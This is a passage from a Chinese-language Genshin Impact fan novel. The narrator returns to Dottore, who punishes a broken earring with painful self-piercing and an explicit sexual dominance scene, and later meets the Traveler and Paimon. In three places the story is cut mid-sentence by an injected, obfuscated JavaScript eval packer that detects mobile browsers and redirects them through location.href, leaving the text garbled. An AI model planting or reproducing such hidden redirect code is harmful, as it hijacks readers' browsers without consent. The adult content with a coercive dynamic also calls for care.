当然是已经被你们的大【博士】大人定身成机械人了,现在还在床上干躺着呢。 我在心中如此回答,但这样的回答很显然不能被公之于众告诉眼前这些赞迪克的“脑残粉”们。 于是我转身,在我转过头的时候做好一切的形态及表情管理,露出一个镇定从容的笑容。 “大人舟车劳顿,如今还在房间休息呢。”我隐含劝说,“各位都清楚大人不喜欢旁人打扰,而且想必那位大人自有打算。按我的建议,诸位不如先行回去,想必大人也不会希望看到各位耽误工作,却只是为了在此做一些没有意义的迎接工作的。” 那些下属你看看我,我看看你,相互对视了几眼,最终还是折服于我我的说法中,不久之后又熙熙攘攘地各自离开了。 之后又被使团的负责人拉着说了好一会儿话,大抵都是对我的一些感激和恭维,没什么重要的内容。只不过碍于身份和人设问题,不能直接一走了之。 等忙完这些,才好不容易能稍微喘一口气。 使团返回至冬,这样大的消息,肯定是瞒不过多托雷的耳目,接下来的行程,我必须尽快赶回多托雷那边…… “嗨,塔德纳,好久不见。” 熟悉的声音把我从一团焦头烂额中拉出来,我转身看到身旁不远处,正在朝这边走过来的达达利亚。 “【公子】大人……” 我有些迟钝地伸手扶住自己的胸口,做出一个平常的礼节。 达达利亚伸手拦住我。 “不必这样严肃,我们是朋友。不是吗?我听说你们今天回来,所以特意在任务结束后赶了过来,还好没错过,我本来还担心时间会不会太晚了来着。” “如果不是一些事情绊住了手脚,您可能现在还真没办法碰见我了。”我笑道。 达达利亚挠了挠头,那双深海一样的蓝色眼睛便映着西面的残阳,混着暖橙落在我身上。 “是吗?那看来我确实很幸运。” 青年的执行官如此说道,似乎也真的在为“能够赶得上与我见一面”这件事感到由衷的高兴。那喜悦像是残留的阳光的暖意,让我感到模糊恍然的一阵温暖。 我想起愚人众内部那些对这位最年轻的执行官的看法:武夫,年轻而莽撞,当然,无可否认的是,青年也正在为能够做出一点更符合执行官身份的事情而在奋斗。偶尔的一些试探虽然仍然手段略微稚嫩,但至少能看得出来,达达利亚并不是但只会武力的莽夫。 只不过,那些手段,在动辄人精遍地的愚人众执行官之列,实在是不太够看,更别说,这其中还有好几个是活了至少几百年的“老货”。 热忱的年轻人,执行官中唯一的至冬人,也估计是唯一一个真的以冰之女皇的意志为道路坚持的人。 我想起这些,又不禁对眼前的青年升起一份“同病相怜”的悲怆感。 毕竟同样要和那群执行官共事的人,还有一个我。 于是我从储物袋拿出当时买酒时为了方便及时赠送而放进去的几份蒲公英酒,从中取了一份给达达利亚。 “?这是……酒?” 我向达达利亚介绍:“这是蒙德的蒲公英酒,很有名的。据说味道很好。我从蒙德带了几份作为伴手礼,这一份,还请您收下。” “蒙德的酒,我还没试过呢。至冬人一般都喝火水,那个劲儿大。” 达达利亚收到了酒,很高兴的样子。 “对了,下次我也请你喝一次吧,自家酿的火水,和酒馆卖的不一样,你肯定会喜欢的。” 我:“……” 我:“不,那还是不用了,我酒精过敏。” 对发现我喝酒会对我各种刁难的多托雷更过敏。 在我拒绝之后,达达利亚愣了一下,然后才稍微有些失落地放弃了这个想法。 …… 船刚到港口的时候,还是日头刚斜的时分,等到这一顿折腾终于结束之后,返回住宅,才发现天都快黑了。 白天有太阳的时候好歹还有阳光带来的暖意,一入夜,气温骤降,加上不时吹来的冷风,让人连多在外面待一下的心情都生不出来。 虽然心里有预料耳坠碎裂的事情,多托雷绝不可能轻易地放过我,但真正将手放在门把手上,只需要轻轻的一点力气就能开门进去的时候,我又不免生出忐忑和退缩的情绪。 记忆虽然不全,但刻在身体反应里面的警告一直提醒着我“不可以再弄坏耳坠”,这样类似的声音,从灵魂的深处传来。 就像是,已经经历过了一次破碎,被严重警告之后,身体的余悸。 当然,我或许也可以尝试一下争取多托雷的纵容和宽恕。 毕竟,就赞迪克一事来看,多托雷未必没有对我的偏袒之心,如果能稍加利用…… “咔嗒——” 门被清脆地打开,我看到沙发那边,多托雷如最经常的那般坐在单人沙发上,手里拿着东西在看,门被打开发出声响的时候甚至一丝一毫的反应也没有。 这样的平静分明是平时最常见的,却让我此刻生出恐惧。 恐惧打破这寂静。 等到走近,在单人沙发旁边一米远的距离站定,我有些紧张地咽了口口水,犹豫了很久才找准自己的声音,又轻又低地发声。 “主人。” 多托雷手里的书页正好翻过一页。 “刚回来?” “是……” “那先去把自己收拾干净吧。” 莫名其妙有点耳熟的话,我的身体无法控制地颤抖一下,但很快被我按住。 至少多托雷现在看起来并不是生气的样子,不是吗? 我在心中如此安慰着自己,拿了衣服去楼上“收拾自己”,心中又不免悲观多托雷并不是喜怒形于色的人,有的时候,越是看不出什么,才越让人害怕。 收拾的时候花费了比较长的时间。 倒不是我故意磨蹭拖延,而是多托雷的命令并不清楚。 “收拾干净”,到底指的仅仅是身体之外,还是内里也要一起清洁干净? 我拿捏不准。 多托雷很少会让自己沉浸于身体的愉悦,所以我侍候的频次也并不至于一直都像在枫丹时那样。 虽然我一直很怀疑那个时候的多托雷大概是为了让我没那么多精力去思考身边的异状,以及更方便地对我的记忆作出修改。 但无论如何,多托雷一向会在需要的时候明确地提出让我准备的命令。 至于今天…… 我看了一眼平时应当是被摆放在专门的盒子里,如今却出现在外面和沐浴用品放在一起的工具,纠结了很久,才说服自己伸手去拿。 等到里里外外都被清理干净,身体也像是脱了力,透着虚弱和疲惫。我穿好衣服,用邪眼快速烘干头发后才踩着楼梯下楼。 又站在相同的地方,只不过这一次,我没有出声,只是安静地站在旁边,弯腰敛眸,恭敬又忐忑地等待多托雷的下一步指示。 沐浴过后带着的湿热蒸气早已经在等待的时候被略显冰冷的室内气温打散了,多托雷独自一人的时候,很显然是不会闲着没事烧壁炉的,以至于现在的我站在温度几乎和室外一样的室内,穿着单薄的一身衬衫,冷得几乎要发起抖来。 似乎就连垂在身边的手指也被冻得僵硬。 我忍不住蜷缩了一下手指,身体晃悠了一下。 “塔德纳。” 像是惊扰了多托雷,他突然放下手中的书,手掌覆在封皮托在膝上。 我被吓得一惊,头低得更低了:“主人。” 如我预想当中的斥责或是其他什么的,都没有到来,我听见多托雷优雅从容的声音询问我。 “蒙德之旅感觉如何?” 以至于我愣了一下,高度紧张的大脑像是被大量数据塞入卡住的数据终端一样反应迟缓。很久我才找到自己的声带。 “还……还行吧……”我张了张嘴。 “这样吗?”多托雷敲了敲硬壳的精装书封,如同钟摆一下又一下规律的摆动,发出嗒,嗒,嗒的声音,一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197254|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,敲在我的心头。 我反应过来,难以置信地看了一眼多托雷的侧脸,不敢多想地跪在地上,连用力过猛膝盖清脆地磕在地上也来不及去疼。 我膝行两步到多托雷的腿边,小心翼翼地搭上多托雷膝盖上的手,将自己的侧脸蹭上去。 “主人,Beta大人想对我出手,他想从这里插进去,差点要把头骨都掀开。”我将多托雷的手引到我的脑后,向多托雷展示赞迪克的罪状。 多托雷任由着我的动作,甚至称得上是纵容地真的摸了摸我的后脑勺,在那已经愈合的伤口处按了按,干燥的手指扣着我的后脑勺让我跪趴地更低。 “虽说答应Beta Build的要求是权衡利弊后的最优之选,不过Beta切片违反命令对你出手的事情,确实不该。我会对他的权限做出一部分限制,也会让他之后不要再找你。” 多托雷将腿上显得碍事的书放到桌子上,随后张开腿,捏着我的后颈道。 “再近一点,到这里来。” 我不敢反抗,听话地爬到多托雷的腿中间。后颈的那只手又落到我的耳垂上,到那只剩一点耳钩卡在肉里的地方。 “我应该说过,不准再弄碎耳坠,这样的话。” “抱歉,主人……我,我不是故意……” 这样的位置,几乎要被多托雷整个笼罩住,连最细微的一丝身体变化都会被多托雷尽收眼底。更别提,还有在耳垂上游走拨动耳钩的那只手。 好似一个不合心意,那只手就会掐住我的脖子,让我用疼痛记住犯下的错误。 多托雷依然保持着进门以来的平静。 “我知道当时耳坠碎掉的情景,我看到了。不过,你也没有任何补救,不是吗?甚至,你都不会去为难弄碎你耳坠的人。” 我身体一僵,讷讷地一时间说不出话来。 “所以,解释一下吧,塔德纳。还是说,你对蒙德一方的那些人,那样的心慈手软,那样的宽容,连这样重要的东西被毁掉也愿意主动翻页,是出于另一些原因?毕竟,我似乎在最后的影像中看到了一些熟悉的人……” “不,不是这样的。”我抓住多托雷大腿的布料。 至少,不能让多托雷也对我帮助柯莱的这件事产生不满。 我从未想过要在做出那些和自己如今的身份不符合的蠢事时完全瞒过多托雷的耳目,但至少,那些被多托雷默认可以放纵我一次的机会,我不想就此搞砸。 “不是那样的……我真的很害怕,害怕主人会因为我没有保管好耳坠的事情生气,会因为这件事抛弃我。”我颤抖着从储物袋掏出被手帕包裹好的耳坠碎片,捧在手心里。 “耳坠会坏都是因为我的错,如果我当时能够早点躲开……可是我太笨了,什么都做不好,耳坠碎了即使找遍人也复原不好,只有主人才可以……” 多托雷似乎愣住了一下。 也或许不算是“愣住”,但我能感受到耳垂上的那只手动作暂停了一下。 多托雷沉吟了许久,他或许是在思考,又或许是在犹豫是否要宽纵我这一次。 我很清楚所有口头的理由都不能改变多托雷的想法,也无法掩盖我当时确实是因为柯莱的原因才导致了耳坠破碎。 所以我要争取的点只有一个:那就是多托雷在知道真相的情况下依然愿意宽纵我一次的可能。 以被收集保管的碎片,和—— 手中的碎片被多托雷伸手拿走。 “上面的血迹……”多托雷抚摸着我的脸,嘴角弯出一个温柔的笑容,“当然,我也说过,你的生命是值得与耳坠同值的,不用这样责怪自己,也不用因此而伤害自己。是我忘了,明明你忘记了那么多记忆,大概也记不起来我说过要保管好耳坠的话了,对吗?” 温柔地像是真的忘记了“我失去记忆”的事实,但实际上,多托雷根本没有给过我回答“不是”的空余。 于是我只能点头。 在多托雷像是把玩宠物一样揉捏我的时候,乖巧地伸长脖子,将最脆弱的部分显露出来,甚至,在需要的时候“哭泣”。温热湿润的泪水从脸侧滑过的时候,会被多托雷伸出手指轻柔地拭去。 多托雷喜欢我示弱的样子,更喜欢我哭泣求饶的样子。所以偶尔,即使不是在情欲中受不了不得不乞求怜惜的时候,我也会落着泪让自己依赖地被多托雷掌控。 就如同现在。 而往往,多托雷也会顺势而下软化对我的态度。即使他很清楚,这是我故意做出来的。 于是,一个丝绸包装的盒子被放在我的手中。 多托雷拍了拍我的脸。 “那么这一次,就由你自己戴上吧。就在这里,以这样的姿势。” 93.第 93 章 想要换上耳坠并不是一件简单的事情。 因为体质的原因,我体内那些可以快速修复身体伤势的能量,耳垂的血肉紧紧咬合着耳钩,一丝一毫的缝隙都无。 倒不如说,那耳钩已经和血肉完全长合在一起了。 伸手搭上耳垂上的耳钩时,我深吸了一口气,在心中一遍又一遍地反复确认,才闭了眼,狠心用力将耳钩从肉里面拔出来。 皮肉被生生撕扯般的疼痛袭来,让我要维持不住自己的动作,甚至连跪坐都跪不稳,还是多托雷收紧了双腿才固定住我的身体。 “呜……疼……” “继续,塔德纳,要是再等一会儿,伤口就又该愈合了。” 多托雷提醒道。 我咬了咬牙,因为过于用力甚至尝到了一点轻微的血腥气。 多托雷说的没错,耳垂上的撕裂伤正在以肉眼可见的速度愈合着,只是稍微停留了一小会儿,就有能感受到血肉和耳钩的粘连。 我有些颤抖地呼吸着,握住那耳钩并不算长的细端,秉承着“长痛不如短痛”的心态,决定下一次用力争取一次性把剩下的部分拔出来。 但身体本来就很疲倦,加上上一次拔出来一部分的剧痛,疼得我站都站不稳,连带着这次能使得上的力气也小了很多,我又尝试了很多次,直到手上沾满了自己的血,后背疼出一身热汗才勉强把那耳钩拔出来。 耳钩落在地上的一瞬间,身体像是被完全抽空了力量,眼前也是一黑一白。 我喘着气,几乎将自己半个身子倚靠在多托雷的腿上才能不瘫在地上。 而多托雷并没有再催促,他只是等待着,将我的手拉上来,用热水浸润过后的手帕擦拭我的手指,每一根都仔细擦过,最后是掌心,然后,还有已经疼到麻木的耳垂。 正因为会迅速愈合,所以疼痛也显得尤其难以接受。 我趴在多托雷的腿上,泪水浸湿了侧脸贴着的那一块布料。 多托雷弯腰,扶着我的腰将我从地上拎起来,让我分开双腿坐在他的怀里。 那仍在疼痛余韵中的耳垂被不轻不重地咬了一下,我发出一声呜咽,缩进多托雷的怀里,却又被拎着拔出来。 “尽早解决吧。”多托雷引导着我的手打开那丝绸的盒子,里面是样式尺寸完全一致的耳坠。 颤抖着拿起耳坠,将耳钩对准自己的耳垂,然后再用力。 自己动手穿刺的疼痛强度大概是别人帮忙的四到五倍,加上并不熟练和无法看到耳朵的情况的原因,这样的穿刺还会被加长成一个痛苦折磨的过程。 等到好不容易把耳坠戴上去,整个人已经累得一丝力气都使不出来了。 多托雷拍拍我的腰,捏着我的脸低头吻上我的唇,还没等我从疼痛里缓解过来就闯了进去,又深又重地舔舐吮吸着。做过清理的身体几乎是在唇舌贴合的一瞬间就食髓知味般地软下来,敞开任由男人攫取。 我头晕的很,大概是被亲得太狠,那舌头进的太深,整个人像是窒息一样迷迷蒙蒙的。我伸手攀附着多托雷的肩膀,让自己贴合得更近。 耳边充斥着自己粗重的喘息声以及胸膛间跳的越发凶狠的心跳声。 嗵——嗵——嗵…… 像是久未接触的身体今天格外亢奋一般,即使是被折腾了一番,身体还残余着疼痛,此刻也被完全浸没进了头皮发麻的欢愉中,甚至,忍不住塌腰,想要被施舍更多。 多托雷略带着点力气地拍了一下我的腰肉。隔着衣服,发出一声不小的闷响,我的身体也因为这一下疼抖了一下。 我:“呜……” “这么着急?看来离开我身边这几天,把小狗饿坏了。” 多托雷的声音那样平淡,就像是在诉说一件再平常不过的事实一样,但我却忍不住羞赧起来,脸上像是烧了起来。 “不要逃避视线,塔德纳。”多托雷伸手钳着我的下颌让我抬头与他对视。 “你的一切在我这里都是可以被接纳的,包括你的欲望。” 我睁大眼睛,眼神却不敢在多托雷的脸上过多停留。 欲望…… 在多托雷面前展露自己,无论是还算好看的一面,或者是那些难堪之极的场面,我都有过这样的经历。 不仅是在身体互相展露时候的接近,也包括那些被迫直面的,一遍遍残存修改自身行为的存在。 一滴墨水进入水缸,或许看不出来任何变化,但你无法否认这缸水的成分已然发生了变化,从只是水的单成分变成了水和墨水的混合物。而在墨水越来越多的时候,水缸里清澈的水也会变成浑浊的水,再也看不清缸底。 我习惯了多托雷的存在,习惯了多托雷对我的态度,习惯了被强压着袒露,连一丝一毫的隐私也不要有。 但是,自从枫丹的旅行结束,即使说服了自己不去深究,保持现状也很美好,我的心中也不免出现了一点动摇,赞迪克那句带着讽刺的嗤笑总会在我脑海中回想。 “你真以为‘本体’能完全放得下那段记忆?他如果真的能放下,就不会有‘我’的出现。” 我的过去,那未有墨水滴入之前的清水之姿,究竟是如何一种模样?我那与多托雷相关的过去,那深刻到足以让多托雷以切片时刻提醒自己的,又不惜花费大量的精力掩盖过去的记忆。 从蒙德归来的第一次,撇开逃避的懦弱,我开始迷茫自己的过往。 …… 那场被迫前往蒙德的旅途像是一场从未存在过的梦一般。如多托雷所言,自那日我再没见过赞迪克,甚至没有听到赞迪克去哪儿了的消息,只能确定赞迪克如今确实不在至冬。 理由是:回至冬后的第一场述职会议,代替赞迪克而来的竟然是一个连蒙德都没去的临时职员,连一些最基础的事务安排都不清楚,最后还是我看不下去替着做完了这次述职。 会议结束后我本来想问一下那小职员关于赞迪克的消息,结果那小职员虽然上台讲述的时候支支吾吾,犹豫不决,会议一结束的时候跑的比谁都快。 我一时不察被旁边的人拉住恭维了一趟,彻底失去了那小职员的踪迹。 当然,关于赞迪克的去向,也不是全然没有线索。从那个地下情报组织嘴里,我知道了在我离开港口后不久,停靠的船再一次启动,又往着归时的路回走了。 赞迪克离开了至冬。无论他的终程是哪,须弥或者其他的国家,总之可以肯定的是,我会有相当漫长的一段时间不会再见到赞迪克。 亦或者说是——Beta切片。 在回到至冬后不久,我拜访了一些在至冬还算关系比较好的人,将自己从蒙德带回来的伴手礼赠送出去。 【女士】,【丑角】,以及其他的执行官,都根据那些大人的身份各选了适合的酒送出去。 让人稍微惊讶的是,斯卡拉姆奇不在至冬。 这件事还是见到【女士】时【女士】告诉我的。 “你不知道吗?”【女士】有些惊讶,“那个计划快开始了,就算是我,过不了多久也得走一趟。” 【女士】的表情带着些讳莫如深。我便也从【女士】那含糊不清的指示中想起那个冰之女皇的计划。那个绝大多数人都不知道的,说出来足以引发恐慌的惊天计划。 “女皇大人终于要开始计划了吗?我记得,这个计划筹备了很久,一直没有启动的预兆。” 【女士】摆摆手:“说是开始,其实也不过是准备而已。在此之前,还有一项任务需要我们去完成。风之神的神之心,那就是我需要替女皇取得之物。” 我愣了一下。 “啊不……【女士】大人,这种事情倒也不用这么直接告诉我……” “怕什么?难不成还要怕你会是捣乱计划的间谍不成?再说了,你既然在【博士】身边,知道的秘辛只会多不会少。” 我叹口气。 “我倒宁愿您当我完全都不知道。这样的麻烦事,我可不愿意被掺进去。” “就算你不愿意,到时候恐怕也由不着你。”【女士】说,“须弥的任务大概率会交给【博士】。你自求多福吧。” “蒙德派您,须弥是主人,您可别告诉我,去稻妻的是那位。” “呵,恭喜你,你猜对了。”【女士】笑了一声。“稻妻交给了斯卡拉姆奇。你知道的,那家伙的脾气,接了这个任务后看谁都一副臭脸。” 我:“……我其实只是瞎猜了一下而已。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202068|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被制造出来原用于替掌国事的人偶在五百年后再次回到稻妻,目的却是代表愚人众拿到雷神之心,这样的故事走向,即使是放在重生复仇文里未免也显得过于离谱了吧。 不过,这也难怪…… “难怪我昨天去那位大人处吃了一个闭门羹。【散兵】大人已经离开至冬,这么早就要去稻妻了吗?”我有些疑惑。 “倒不至于这么早。稻妻现在处于封闭状态,想要去稻妻,还得费一些力气。所以,他准备先去蒙德。”【女士】皱了皱眉,连带着语气也差了一些。 “啧,连在蒙德也会见到那个家伙的脸,一想到这个,就浑身不舒服。幸好那家伙还算有自知之明,先走了一步。我可不想和他一趟去蒙德。” 我:“……” 我干笑两声:“哈哈,您和那位大人的关系,还真是,一如既往。” 【女士】要去蒙德。 我突然想起来刚才送出去的伴手礼,顿时有些懊恼。 “【女士】大人要去蒙德的话,我这礼物倒送的不算太好了。早知道我该带点羽球节的限时特产回来送您。” “羽球节?没想到你还赶上了那个节日?”【女士】若有所思,“对了,羽球节好像是最近的时候来着,我太久不回蒙德,这种事早就不上心了。至于蒙德的酒,除了蒲公英酒,其余的,也都和我的记忆相去甚远了。” 火之魔女从不主动提及自己的家乡,或许是那片土地承载着她不愿回想的过往,又或者是,时间过去的太久,即使是所谓的“故土”,也早已变了模样,成了自己不熟悉的地方。 我心知自己提及到的话题是【女士】不愿多谈的部分,于是讪讪听了一席的话,之后稍作离别就分开了。 下一次见面,如无意外,大概要等到【女士】完成任务之后回到至冬。 而那样复杂的任务,少则三五月,动辄一两年,下一次再见时恐怕又是思绪万千,顿生愁困。 当然,此刻的我大概也不会想到,达达利亚在不久之后也会被派去璃月执行任务。至于多托雷,他将须弥的任务扔给了Omega切片,自己决定外出考察研究。 我们往南走了一段距离,最终在几个月后进入蒙德,而我,也在过去仅仅一百多天后,再次踏上这片土地,被卷入了一场足以完全改变我人生的相遇。 …… 蒙德界地的某处海滩,金发的少女吃力地撑起手中的钓竿。 “有货了!” 简易制作而成的鱼竿在濒临坏掉的弧度里终于钓起来了海底沉重的东西。然而,与少女的猜想大相径庭,那并不是一条足以饱餐一顿的鲜鱼,而是一只白色的,小精灵一样的生物。 金发的少女名为荧,但在此,还请称呼她为“旅行者”。 她与亲人曾经行走过诸多世界,却在来到提瓦特时被此间的神明阻拦,旅行者的哥哥不知所踪,而旅行者自己,也在被封印了许久之后才终于醒来。 她要找到哥哥。 于是,在偶然相遇的白色小精灵派蒙的陪伴下,旅行者出发了,向着第一站,风的国度——蒙德,进发。 刚一进城,旅行者便遇到了风魔龙的灾害。她遇到了西风骑士团的人,遇到了奇怪的吟游诗人,在名为凯瑟琳的接待人员那里注册成为了冒险家。 在人群中,旅行者匆忙地走过。 她接到的新任务是帮忙摘三个苹果,虽然不明白为什么这么小的事情蒙德人也要专门挂委托找冒险家帮忙,但只要能收获委托金,旅行者向来来者不拒。 今天蒙德城的人格外多。大家好像都被什么吸引了,正在往广场距离,似乎在看什么。拥挤之中,旅行者甚至撞到了其他人。 “抱歉抱歉,你没事吧?” 被撞到的人低着头,那头上的兜帽随着低头的动作滑落,露出里面金色的发丝。 那是一位看上去相当年轻的青年,或许,硬是要说的话,还有点好欺负。 旅行者看着眼前的人,不知道为什么,脑海中浮现出了这个想法。 大概,是因为那双眼睛吧。 旅行者想道。 那双眼睛,就像是安静的湖泊一样,柔和地让人生不起一点警惕的心来。 94.第 94 章 【女士】所言,至少有一句是绝对毫无夸大之词的。 在多托雷身边,我知道的秘辛,确实只多不少。 无论是对于多托雷,还是对愚人众,甚至,是冰之女皇那庞大的计划都略知一二。当然,除此之外,或许还有…… 金发的异邦人。 并非是来自这片土地,而是自天外而来的旅行者。 实在是令人难以置信的来历。在亲眼从多托雷身边见证到那些不属于这片大陆的东西之前,我只会觉得“天外世界”都是无稽之谈。 就算是因论派的研究,再往前学习,也只能知道魔神战争的时期,七神还未确定之时,天使行走大地传播讯息的传说。 不过很显然,比起那早已经无法找到确切证据证实的天使之说,“魔神”的存在更能吸引学者的目光。像是当代因论派的研究,也有很大一部分集中在须弥那逝去的三位神明,即花神,赤王,和草神。 当然,此处的草神并不是指如今百年不曾亲政的小吉祥草王,而是指在五百年前的灾厄中死去的大慈树王。须弥民众如今仍然蒙受大慈树王的遗产庇佑,提起“草神”一名的时候更多的时候也是指的那位大慈树王,而非小吉祥草王。 话题稍微有点扯远了。 总之,金发的异邦人,天外而来的降临者。 我想过或许会有机会见到这位特殊的旅行者,即使可能是以“敌人”的对立身份。也或许,更大的可能,那位旅行者根本没有理由注意到我。 毕竟,我只是愚人众执行官身边一个连神明注视都得不到,最为普通的一个凡人罢了。 充其量活得久了一点。 然而,当偶遇的机会真的就这样措不及防地砸在我的身上,当我从人群中看到那个极为特殊的少女身影,以及她身边白色的漂浮精灵时,我的心脏,突兀地停跳了一瞬。 像是躲避在地下室几十年的老鼠被突然拎了出来暴露在阳光下,无法藏匿,无法忽视。 在大脑完成一次谨慎思考之前,身体已经先一步做出了动作。 我在人群中穿行着,故意走到旅行者的行进路线上。 在不乏避免的,可以安排的冲撞发生的时候,我没有去遮掩好自己的外貌,而是任由兜帽从头上滑落,让自己暴露在那双如同太阳耀眼的光芒里。 “抱歉抱歉,你没事吧?” 借着被搀扶起来的空隙,我从低头的夹角打量着这位外海而来的旅行者。 身高,似乎没有我高,年龄也不是很大的样子,但这只是外貌来看,这位旅行者的真实年龄说不定比起我还要大上一些。意外地看上去很容易接近。 那双金色的眼睛担忧地看着我。 我能注意到旅行者同时也在观察我的视线,那视线似乎因为一些原因停留了一会儿。 我露出一个足以降低他人警惕心的笑容,刻意流露出一点疏远的礼貌。 这是最不会让第一次见面的人生疑的表情。 “我没事。不小心撞到您实在是太抱歉了,如果您愿意的话,请容许我稍微展示一点歉意。” 首次的对话被拥挤的人流撞开了。这里的蒙德人比我预想中的要多得多。 旅行者身边的白色小精灵发出有些慌张的声音。 “呜哇——旅行者,这里人好多,我要被,挤飞了!快救我!” 旅行者抓住白色的小精灵,然后伸手拉住我的手腕,隔着薄薄的一层衣料。 那似乎是旅行者下意识的举动,根据是我看到旅行者露出了迟疑且怔愣的表情。 但这位好心的旅行者最终还是多此一举,将我这个素未相识的陌生人也拉了出来。 “小心点。” 在脱离人群之前,旅行者如此对我点头道。 我没有回应。 旅行者的身手十分敏捷。看得出来,这位来历不小的少女身怀着出人意料的力量。 我甚至稍微估量了一下,从旅行者所展示出来的反应力和敏捷度,最终得出的结果是,我大概在这位旅行者手里只有跪地求饶的份儿。 我们三人,准确的说是两人一精灵,又或者更为精确:一名因为不明原因一直存活的提瓦特人,以及一名身份神秘,来自世界之外的旅者,经过一番波折,总算从人群中脱离出来。 旅行者身边的小精灵,那与我所有所见过的生命都大相径庭的生物拍了拍自己的胸口,心有余悸般。 “呼,还好旅行者你手比较快,要不然,派蒙就要被压成派蒙肉饼了。” 旅行者煞有其事地思考了一下:“这样吗?那派蒙岂不是更符合‘应急食品’的定位了。我还挺好奇味道的。” 名为“派蒙”的飞行精灵在空中跺脚。 “都说了,我才不是什么‘应急食品’!所以,绝对是不可食用的啊!” 旅行者:“我不信,除非你让我啃一口试试。” “这种事情想想也不可能答应吧!” 我在一旁安静地看着。 直到白色的精灵注意到我。 “啊,和旅行者争辩的时候差点忘了旁边还有人在。不是故意忽视你的,都怪旅行者!” 旅行者在旁边无所谓地耸耸肩。 那奇特的生物从旅行者的身边漂浮过来。我没看到任何类似于翅膀的东西,这样的生物大概是靠另外的力量悬浮起来的。 派蒙来到我面前,友好地笑着。 “对了,我是派蒙,那个家伙是旅行者,你也可以叫她的名字……” 派蒙看向旅行者,旅行者点点头,也上前两步,向我伸出右手。 “我叫‘荧’。你也可以直接叫我‘旅行者’,很多人都会这样称呼我。” 我握上那只手,稍微停顿一下,也自我介绍道。 “我是……塔德纳。看您的打扮,您似乎不是蒙德本地人,所以,您也是来蒙德旅游的吗?” 面前旅行者的表情稍微僵硬,就连旁边的派蒙也露出适应不了的表情。 “好严肃的‘敬称’……感觉气氛都变得肃穆了……” 我愣了一下。 “抱歉,我只是习惯了这样的语气,没想到会为尊敬的旅行者大人和可爱的派蒙大人带来烦扰,是我考虑不周了。” “等等,等等……”派蒙晕乎乎地看着我,“什么‘尊敬的’,‘可爱的’大人……真的会有人平时用这种语气说话吗?会被当成怪人的吧!” 旅行者十分赞同地点头。 “不过,”派蒙挠了挠头,“还是第一次有人这么称呼我呢。派蒙真的很可爱吗?” “当然,我以个人的名义担保,派蒙大人绝对是我所见过的最可爱的一位。”我笑着,将自己的语气放得更加亲近。 可爱到被多托雷抓住绝对会拿去解剖的那种。这种新奇的生物,多托雷没理由不感兴趣。 我在心里如是想到。 派蒙:“嘿嘿,你还怪会夸人的。” 旅行者对派蒙的突然倒戈很无奈:“派蒙——” 我轻笑:“所以,两位大人还没回答我的问题呢。两位也是来蒙德旅游的吗?” 派蒙不假思索地回:“当然不是,旅行者来蒙德是为了找……” 旅行者:“咳!咳!” “哦,嗯……”派蒙突然卡顿了一下,表情也变得紧张。 “旅行者,旅行者来蒙德是为了找……找到蒙德最好的苹果!没错,是这样的,最好的苹果!” 我歪了歪头:“苹果?” 旅行者在旁边捂住自己的额头,似乎是看不下去了。 派蒙:“哈哈,当然!不信你看。”派蒙拿出一张盖有蒙德冒险家协会印章的委托单,“这可是委托人的任务,旅行者必须要找到最好的苹果带给委托人。” 那张委托单从我的眼前一闪而过,虽然有点模糊,但我也可以确认上面绝对没有提及什么“蒙德最好的苹果”之类的描述。 但我对旅行者的提防早有预料。 “原来是为了找蒙德最好的苹果啊。”我露出一个恍然的表情,“说起蒙德最好的苹果,我好像有一点线索呢。两位大人若是还没找到的话,我可以将这条线索提供给你们。” 派蒙:“诶?!原来真的有什么‘蒙德最好的’……” 旅行者终于忍受不了,伸手捂住派蒙的嘴强制终止了己方队友发生的权利。 “不用了。”比起更为单纯的派蒙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206739|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旅行者对我的态度要更为冷淡,也更符合对一个第一次见面的陌生人的态度。 “我们已经找到‘蒙德最好的苹果’了。” “唔,这样吗,本来是想请两位大人一起在天使的馈赠尝尝蒙德城最有名的苹果酿当作对您伸出援手的感谢,看来,是没有机会了。” 我看见派蒙听到“苹果酿”三个字的时候眼睛亮了一下,应该是很感兴趣,但是迫于身边旅行者的态度,不敢出声。 我叹了口气,满是遗憾的语气。 “太可惜了,来过蒙德,不喝一次苹果酿和蒲公英酒的话,可是会被认为是‘无效旅游’的。如果运气好的话,说不定还能碰到莱艮芬德家族的那位迪卢克老爷在酒馆当差。那位老爷的手艺,向来是有口皆碑的。” 旅行者的表情稍微松动,甚至带着一点惊讶。 派蒙忍不住问:“你也认识迪卢克老爷?” “当然。”我摆摆手,“虽然以我的身份,或许没资格称得上是那位老爷的‘朋友’,但我们确实之前因为一些事情结识。” 